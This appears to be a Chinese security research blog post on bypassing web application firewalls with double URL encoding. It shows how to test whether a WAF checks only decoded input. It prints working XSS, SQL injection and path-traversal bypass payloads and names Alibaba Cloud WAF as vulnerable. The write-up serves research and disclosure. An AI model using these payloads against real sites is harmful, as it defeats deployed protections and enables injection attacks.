你的掃描器可以繞過防火墻么？（二）

作者：leveryd
原文鏈接：https://mp.weixin.qq.com/s/9uq-D1oB22_1DsU-5U73Kg

背景

看了你的掃描器可以繞過防火墻么？（一）的可能會覺得文章中用base64繞過場景有限。這篇文章介紹一種繞過場景更多一點的方法。

用過商業waf產品的應該都知道，waf一般都會支持多種解碼類型，比如base64、url、unicode等。

所以Li4vLi4vLi4vZXRjL3Bhc3N3ZA==("../../../etc/passwd"的base64編碼)這種payload，會被waf解碼后攔截。

這里存在一個設計問題：如果waf只檢測解碼后的數據，不檢測原始數據，就會存在一種通用繞過，很多web防護都有可能失效。

我研究了下面的問題：

• 怎么驗證waf是否"只檢測解碼后的數據，不檢測原始數據"？
• 哪些waf存在這種繞過風險？
• 怎么利用？

分析過程

• 怎么驗證？

構造滿足下面條件的數據：

  * 如果waf沒有解碼模塊，此數據就應該被攔截
  * 如果waf有解碼模塊，解碼后，此數據不應該被攔截

如果這個數據經過waf沒有被攔截，就說明 存在風險。

比如，如果有一個waf面對如下的測試payload

  <script a="">alert(1) // 被waf攔截
  <script a=""></script><x a=">alert(1) // 不被waf攔截

其中第二個payload是通過"在第一個payload雙引號中添加數據"構造出來的

就可以構造出下面的"最終payload"：

  <script a="%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%33%63%25%37%38%25%32%30%25%36%31%25%33%64">alert(1)

如果"此waf只檢測解碼后的數據，不檢測原始數據"，就不會攔截"最終payload"

• 驗證阿里云waf

以下是阿里云waf實際攔截結果

  a=<svg onload='xxxx="x alert"'>  攔截
  a=<svg onload='xxxx="x"> alert"'>  不攔截

所以可以構造出下面的payload并驗證

  a=<svg onload='xxxx="x%25%32%32%25%33%65 alert"'>  沒有攔截

所以，阿里云waf確實存在風險，用a=<svg onload='xxxx="x%25%32%32%25%33%65"; alert(1);'>payload就可以繞過

• 驗證長亭waf

  a=alert("111")  中危
  a=alert("111"") 正常

所以可以構造出下面的payload并驗證

  a=alert("111%25%32%32")   中危

所以，長亭waf不存在此風險

• 怎么利用？

如果waf存在此風險，就有可能導致非常多的web防護失效。

構造payload的過程如同上面"怎么驗證"的過程。

下面再補充一個同樣方式繞過阿里云sql注入防護的案例：

  a=union/*anything*/select "111"  攔截
  a=union/**/*/ select "111"  未攔截，但是此payload不是有效的

  因此可以得到下面 不攔截、且有效的 payload
  a=union/*%25%32%61%25%32%66*/select "111"  未攔截，且payload有效

最后

我在內部安全保障、安全產品兩個方向有一些工作經驗；在啟明、百度等大廠也都呆過，也曾在房多多和安全團隊一起做過從0到1的安全建設；在漏洞挖掘這一塊雖然不是經驗豐富，但之前也給"華為、阿里、360、百度、字節"等國內的大廠提交過一些高危嚴重漏洞（PS：并不代表我覺得這些src都非常好）；

我后面會持續寫 "安全產品"、"后端開發"、"有意思的安全問題/漏洞"，如果讀者有什么想一起討論的"題材"，歡迎在公眾號后臺留言；

目前公眾號一篇文章閱讀量只有50-70，感覺太慘淡了。如果讀者覺得我的文章有幫助，就希望能在公眾號"點贊、在看、分享"，"點贊"和"在看"似乎也能增加一些曝光量。要不然文章就只能關注的人才能看得到。

本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/1601/